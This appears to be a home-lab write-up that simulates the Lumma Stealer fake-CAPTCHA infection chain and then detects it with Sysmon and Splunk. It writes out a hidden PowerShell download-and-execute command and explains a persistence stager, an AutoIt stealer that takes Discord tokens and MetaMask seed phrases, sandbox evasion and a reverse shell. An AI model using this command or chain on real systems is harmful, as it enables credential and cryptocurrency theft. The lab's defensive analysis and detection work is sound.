Home Lab (Lumma Stealer)
Last updated
Last updated
This home lab simulation is based on the analysis presented in the article: .
The Lumma Stealer attack via fake CAPTCHA pages typically follows this infection chain:
Initial Access: A user visits a compromised or malicious website hosting a fake CAPTCHA page, often through phishing emails, malvertising, or compromised legitimate sites.
Social Engineering: The fake CAPTCHA page mimics legitimate services (e.g., Google reCAPTCHA) and tricks the user into clicking a “Verify” or “I’m not a robot” button.
Clipboard Manipulation: Clicking the button copies a malicious PowerShell command to the user’s clipboard, often Base64-encoded.
User Execution: The user is instructed to paste and execute the command in the Windows Run dialog Win+R or a terminal, which triggers the malware download.
Malware Delivery: The PowerShell script downloads and executes the Lumma Stealer payload, often from a content delivery network (CDN) or a legitimate platform like GitHub.
Payload Execution: The malware employs techniques like DLL sideloading or process injection to run silently, stealing sensitive data (e.g., credentials, cryptocurrency wallets, browser data).
Data Exfiltration: The stolen data is sent to a command-and-control (C2) server.
Windows Machine
Kali Linux Machine.
Ubuntu Machine (Splunk)
I installed Sysmon on the Windows machine, Splunk on the Ubuntu system, and the Splunk Forwarder on the Windows machine to collect and send logs to Splunk.
I have forwarded the Application, Security, PowerShell, and Sysmon logs to Splunk. The Application and Security logs were configured directly within Splunk during the index creation process. However, to send the PowerShell and Sysmon logs, I created a file named inputs.conf in the following directory: C:\Program Files\SplunkUniversalForwarder\etc\apps\SplunkUniversalForwarder\local, containing the follow configuration:
Next, we need to restart the Splunk forwarder using the following command.
Now, we need to simulate additional sensitive data within the %APPDATA% directory, which will serve as the target for our exfiltration test.
Let's begin by creating the fake CAPTCHA webpage that will be used in our attack simulation.
Let's modify the permissions of the Captcha folder to ensure the phishing page is accessible through the web server.
In the code, clicking the button copies the command to the user's clipboard. Let's verify this behavior.
When the Win + R keys were pressed, the command was automatically copied to the clipboard.
We now need to generate the initial payload using msfvenom.
Let's create a new folder named "payload" and move "Set-up.exe" into this folder.
Next, we will modify the file’s permissions to allow other users to download it via HTTP.
Next, we will package the Set-up.exe file into an archive named win15.zip.
Next, we need to modify its permissions to ensure that Apache can serve the ZIP file.
While developing the fake CAPTCHA web page, we configure it to copy the following PowerShell command to the victim's clipboard: powershell -w hidden -ep bypass -c "$url='http://192.168.204.152/payload/win15.txt'; iex (iwr $url -UseBasicParsing).Content" This command initiates the download and execution of a remote script. Next, we will create the win15.txt file, which will be fetched when the victim proceeds with the CAPTCHA verification steps.
Breakdown:
$zipUrl: The web address where the ZIP file is hosted on Kali.
$zipDest: Saves the ZIP to a hidden folder in the user’s AppData (%APPDATA%\bFylC6zX.zip) to avoid easy detection.
$extractPath: Sets the extraction location to %APPDATA%\7oCDTWYu, another hidden folder.
Invoke-WebRequest: Downloads the ZIP file from Kali.
Expand-Archive: Unzips Set-up.exe to the extraction path.
if (-not (Test-Path $extractPath)): Checks if the extraction directory exists; if not, creates it.
Start-Process -FilePath $setupPath: Runs Set-up.exe to establish the reverse shell.
Start-BitsTransfer: Downloads the next script (Hose.cmd) to continue the attack.
Start-Process -FilePath "cmd.exe": Executes Hose.cmd using the Command Prompt.
New-ItemProperty: Adds a registry key to make Set-up.exe run every time the computer starts (persistence).
This script mimics a phishing attack where the victim runs a downloaded file, triggering the malware chain.
Next, let's modify the permissions of this file.
Next, we need to generate the AutoIt script fragments (suggests.a3x).
We will develop segmented fragments of an AutoIt script designed to exfiltrate data to a Command and Control (C2) server. When executed on a victim's system, the script will harvest Discord tokens and MetaMask seed phrases. By dividing the script into smaller fragments, we aim to reduce the likelihood of detection.
Explanation:
#NoTrayIcon: hides the script’s icon from the system tray.
#include <File.au3>: adds the AutoIt file handling library. We need this library to read files on the victim machine.
#include <Inet.au3>: adds the internet library for sending data. This library enables the InetGet command to exfiltrate data.
Local $sData = '' : declares a variable to store the stolen data, initialized as an empty string.
Local $sFile: sets a variable to the path where Discord tokens might be stored. @AppDataDir is an AutoIt macro for the user’s AppData folder (e.g., C:\Users\jody\AppData\Roaming).
InetGet: sends an HTTP GET request to the C2 server with the data, saving the response to %TEMP%\exfil_data.txt. The 1 flag forces an overwrite if the file exists.
To collect these fragments, we will create a file named hose.cmd that concatenates them. On the victim machine, this will produce the following result:
This script checks for the specified files, collects their content, and sends it to the C2 server.
Let's also modify their permissions.
To clarify the scenario, the process should be as follows.
The victim clicks on the CAPTCHA verification button, which triggers the copying of a malicious command to their clipboard. Following the instructions, the victim presses Win + R and hits Enter, causing the commands listed in the win15.txt file to execute sequentially.
At this stage, we need to create the hose.cmd script to aggregate these fragments into a file named suggests.a3x, allowing us to retrieve the target files and transmit them to our Command and Control (C2) server.
Explanation:
tasklist | findstr /I "wrsa opssvc" & if not errorlevel 1 ping -n 198 127.0.0.1: The script checks for the presence of security software by using the tasklist command. If any such software is detected, it delays execution by issuing a ping -n 198 localhost command, causing the system to ping itself 198 times. This technique is intended to evade sandbox analysis, as sandboxes often terminate execution before the delay completes.
Set /a Realtor=195402: Sets a random variable.
mkdir %TEMP%\195402 and cd %TEMP%\195402: Creates and moves to a temporary folder named 195402 in the system's temp directory.
if not exist "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" (...): Checks if the AutoIt executable exists; if not, downloads it from http://192.168.204.152/payload/AutoIt3_x64.exe.
Set AUTOIT_PATH=%CD%\AutoIt3_x64.exe: Sets the path to the downloaded or existing AutoIt executable.
cmd /c copy /b ..\Italy + ..\Holmes + ... suggests.a3x: Combines the downloaded pieces into a single file called suggests.a3x.
if exist "%AUTOIT_PATH%" (...) else (...): Runs suggests.a3x using the downloaded AutoIt or the default installed version.
choice /d y /t 5: Pauses the script for 5 seconds before exiting.
This script is a malware delivery tool that downloads and assembles a malicious AutoIt script suggests.a3x on the victim's computer, then runs it to steal data like Discord tokens or MetaMask seed phrases, sending it to a remote server while trying to avoid detection by security software.
Next, let's update the permissions for the hose.cmd file.
We now need to develop a Python-based Command and Control (C2) server to receive the exfiltrated data.
Let's start the C2 server and configure the appropriate permissions for the c2_data.txt file.
Before launching the attack, let's first start a listener to capture the reverse shell from Set-up.exe.
Everything is now properly configured; let's proceed with the attack simulation to verify its effectiveness.
Let's now verify whether we received a reverse shell and if any data exfiltration occurred.
The attack appears to have been successful; let's now verify whether the registry key was also added.
The attack begins with a file download, so let's filter by Event Code 4104 to examine the executed PowerShell commands.
The attacker first downloaded a file named win15.txt, which contained a list of commands to be executed sequentially.
A ZIP file was downloaded from the remote IP address 192.168.204.152 and saved to the path:
$env:APPDATA\bfylc6zx.zip.
The ZIP file was extracted to a randomly named folder:
$env:APPDATA\7ocdtwyu.
Within the extracted contents, a file named Set-up.exe was found and executed.
Another file, hose.cmd, was placed in the same extracted folder and subsequently executed.
To maintain persistence, a registry key named 5tqjttuo (randomly generated) was created, with its value set to the path of Set-up.exe.
Let's review the network logs to determine if any outbound connections were initiated following the execution of Set-up.exe.
Following the execution of Set-up.exe, the attacker successfully established a reverse shell connection on port 4444.
Next, let's filter for the file named hose.cmd to examine its contents.
In this case, it was observed that the hose.cmd file was used to download file fragments, which the attacker subsequently combined to create the file suggests.a3x, which is an AutoIt script, a scripting language primarily used for automating Windows GUI tasks and developing Windows-based applications.
The attacker then executed the AutoIt suggests.a3x script using AutoIt_x64.exe.
By analyzing the network connections to the attacker's IP, we observe that within just 15 seconds, the attacker downloaded an initial file containing execution commands and established a reverse shell on port 4444. Subsequently, they downloaded several file fragments used to assemble the AutoIt script that was executed. An additional connection was then made to the attacker's server on port 8080, likely for data exfiltration.
We can create a detection rule based on the initial query and configure it to run every 15 minutes. Let's proceed with this approach.
Also let's enable throttling to prevent excessive alerts from the same issue, thereby avoiding "alert overload." Additionally, we should configure the "Log Event" action, which records the alert’s triggering details in Splunk’s internal logs (index=_internal) or a custom index.
Let's initiate the attack once more and verify if an alert is triggered.
From Settings > Searches, Reports, and Alerts in the Splunk web interface.
Alternatively, we can verify this from the index=main.
You can download AutoIt3_x64.exe from the official website using the following link:
You can explore this informative URL to learn more about the detection rules in Splunk that can be used to identify the Lumma Stealer attack:
